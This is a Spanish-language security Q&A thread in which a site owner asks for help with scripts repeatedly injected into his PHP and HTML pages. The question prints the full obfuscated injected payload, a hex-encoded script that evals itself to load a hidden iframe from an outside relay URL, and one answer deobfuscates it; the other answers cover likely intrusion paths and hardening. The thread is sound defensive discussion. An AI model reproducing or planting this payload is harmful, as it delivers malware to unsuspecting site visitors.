Detener las inyecciones de código en el código de la página

3

Comencé un tema AQUÍ en el sitio stackoverflow, pero fue referido aquí.

Obtuve algo de información allí, pero creo que se necesita más información en profundidad. Así que espero que la gente aquí pueda ayudar.

Tengo algunos dominios que uso para sitios y pruebas. La mayoría están alojados en un sitio de dominio conocido, los otros en uno pequeño.

Recientemente noté que mi diseño de página se estaba apagando. Al inspeccionar, noté que se estaba ejecutando un iFrame (que nunca puse allí).

Lo quité y cambié mis permisos de archivo.

Sucedió de nuevo varias veces, luego cambió de un iFrame a un javascript. Aquí está para ver.

<?
#68c8c7#  echo " <script type=\"text/javascript\" language=\"javascript\" >
 asgq=[0x28,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x20,0x28,0x29,0x20,0x7b,0xd,0xa,0x20,0x20,0x20,0x20,0x76,0x61,0x72,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x20,0x3d,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x63,0x72,0x65,0x61,0x74,0x65,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x28,0x27,0x69,0x66,0x72,0x61,0x6d,0x65,0x27,0x29,0x3b,0xd,0xa,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x72,0x63,0x20,0x3d,0x20,0x27,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x66,0x72,0x61,0x73,0x73,0x65,0x6c,0x74,0x2d,0x6b,0x61,0x6c,0x6f,0x72,0x61,0x6d,0x61,0x2e,0x6e,0x6c,0x2f,0x72,0x65,0x6c,0x61,0x79,0x2e,0x70,0x68,0x70,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x27,0x61,0x62,0x73,0x6f,0x6c,0x75,0x74,0x65,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x62,0x6f,0x72,0x64,0x65,0x72,0x20,0x3d,0x20,0x27,0x30,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x68,0x65,0x69,0x67,0x68,0x74,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x77,0x69,0x64,0x74,0x68,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x6c,0x65,0x66,0x74,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x74,0x6f,0x70,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0xd,0xa,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x21,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x27,0x29,0x29,0x20,0x7b,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x77,0x72,0x69,0x74,0x65,0x28,0x27,0x3c,0x64,0x69,0x76,0x20,0x69,0x64,0x3d,0x5c,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x5c,0x27,0x3e,0x3c,0x2f,0x64,0x69,0x76,0x3e,0x27,0x29,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x27,0x29,0x2e,0x61,0x70,0x70,0x65,0x6e,0x64,0x43,0x68,0x69,0x6c,0x64,0x28,0x79,0x6f,0x6b,0x64,0x6a,0x29,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x7d,0xd,0xa,0x7d,0x29,0x28,0x29,0x3b];try{document.body|=1}catch(gdsgsdg){zz=3;dbshre=34;if(dbshre){vfvwe=0;try{}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window[\"eval\"];}s=\"\";for(i=0;i-499!=0;i++){if(window.document)s+=String.fromCharCode(asgq[i]);}z=s;e(s);}}</script>";
#/68c8c7#
?>

Tenga en cuenta que es un script PHP. Directamente en mi código. También tengo lo mismo en HTML.

Parece que todos mis sitios se están infectando con esto o varios de esto, incluso los que no están en el mismo host.

¿Puede alguien ayudarme con esto?

    
pregunta Tempus 19.03.2013 - 21:08
fuente

3 respuestas

6

Solo para mostrarle lo que hace este script, ya que siempre es interesante las técnicas de ofuscación que usa la gente.

<?
#68c8c7#  echo " <script type=\"text/javascript\" language=\"javascript\" >
asgq=[0x72,0x65,0x6c,0x61,...0x28,0x29,0x3b];
try{document.body|=1} catch(gdsgsdg){


    // Some attempt of obfuscation
    zz=3;
    dbshre=34;

 if(dbshre){ 
      vfvwe=0;

    // Some attempt of obfuscation
      try{} catch(agdsg) {
           vfvwe=1;
      }

      if(!vfvwe){
        // This is the Eval Function
           e=window[\"eval\"];
      }

      s=\"\";
      for(i=0;i-499!=0;i++){
           if(window.document) {
                // Add encoded script (asgg) to variable s.
                  s+=String.fromCharCode(asgq[i]);
           }
      }

// Some attempt of obfuscation
 z=s; 
// 'e' is the eval function which was defined above.
 e(s);
 }
}
</script>";
#/68c8c7#
?>

Y la variable 'asgq' tenía el siguiente código:

(function () {
    var yokdj = document.createElement('iframe');

    yokdj.src = 'http://*********.nl/relay.php';
    yokdj.style.position = 'absolute';
    yokdj.style.border = '0';
    yokdj.style.height = '1px';
    yokdj.style.width = '1px';
    yokdj.style.left = '1px';
    yokdj.style.top = '1px';

    if (!document.getElementById('yokdj')) {
        document.write('<div id=\'yokdj\'></div>');
        document.getElementById('yokdj').appendChild(yokdj);
    }
})();

He eliminado la URL porque no creo que sea una buena idea que la gente vaya a sitios web que pueden contener malware.

    
respondido por el Dave_Peachy 20.03.2013 - 00:27
fuente
4

Dice que las secuencias de comandos php como estas se han inyectado directamente en sus archivos, lo que implica que un atacante ha tenido cierta capacidad para modificar archivos en sus máquinas (hay varias formas de obtener esto). De alguna manera, ha creado la misma vulnerabilidad en todos sus sitios.

Es posible que tenga algún problema que resulte ser muy común / conocido, y que los scripts automáticos de alguien hayan detectado el hecho. Algunas ideas mías que vienen a la mente:

  • inyección de código PHP

Algunos atacantes han podido crear una entrada de usuario para una parte de sus sitios web de manera que puedan ejecutar cualquier código de PHP que deseen. Por ejemplo, si tuviera que tomar la entrada de a y meterla en una evaluación php ( enlace , entonces alguien podría llamar a file_put_contents ( enlace ) y modificar directamente sus archivos php para tener el código adicional.

  • acceso de shell

Algunos atacantes pueden ejecutar lo que quieran porque han irrumpido en tu máquina de alguna otra manera. Por ejemplo, si está aceptando inicios de sesión con ssh, y la contraseña de su cuenta raíz es "contraseña", entonces alguien podrá obtener acceso haciendo trivialmente intentos de iniciar sesión en su máquina utilizando entradas de un diccionario de contraseña común.

Esto es todo especulación sin embargo. Algunas recomendaciones generales (investiga cómo hacer esto por separado).

  • Cambie las contraseñas de todas las cuentas de inicio de sesión en la máquina.

  • Asegúrese de que no haya servicios en ejecución que no se haya planteado usted mismo

  • Endurece tu configuración de PHP. Las búsquedas en Google similares a Harden php configuration te ayudarán a investigar.

  • Endurezca la configuración de su servidor web. Asegúrese de que su servidor web se está ejecutando con una cuenta de usuario que es un usuario creado solo para su servidor web.

  • Puede auditar su código para detectar problemas, pero dudo que sepa qué buscar. Tal vez podría intentar algo como Tripwire (no lo he usado antes) para esperar / observar cambios en el archivo. Una vez que detectes los cambios, puedes averiguar a qué hora ocurrieron (incluso puedes simplemente mirar la marca de tiempo en los archivos modificados). Desde allí, puede explorar los registros del servidor web / php logs / syslog / authlog para jugar a los forenses y descubrir dónde está su agujero.

respondido por el David Mah 20.03.2013 - 08:10
fuente
1

¿ha revisado el contenido de su base de datos para ver si estos scripts están almacenados allí? (volcar el contenido y hacer una búsqueda de texto) Debe establecer si los atacantes han colocado esto en su página a través del sistema de archivos (a través de un archivo remoto, incluya enlace ) o insertándolo en la base de datos a través de inyección sql. Cuando lo retiraste, ¿de dónde lo sacaste?

busca algunas de las palabras clave en este código inyectado:

google "yokdj" encuentra anexo

google "fromCharCode (asgq [i]" produce una lista de sitios infectados. También, esa búsqueda produce varias discusiones sobre este código:  hilo de stackoverflow:
enlace Y:

enlace

Suena como que esto ha afectado a varios sistemas relacionados con php recientemente. Los demás informan que se devuelve una vez que se elimina, lo que me hace pensar que un robot está inyectando esto en un formulario de su sitio. Por favor, háganos saber lo que encuentra!

    
respondido por el mcgyver5 20.03.2013 - 22:12
fuente

Lea otras preguntas en las etiquetas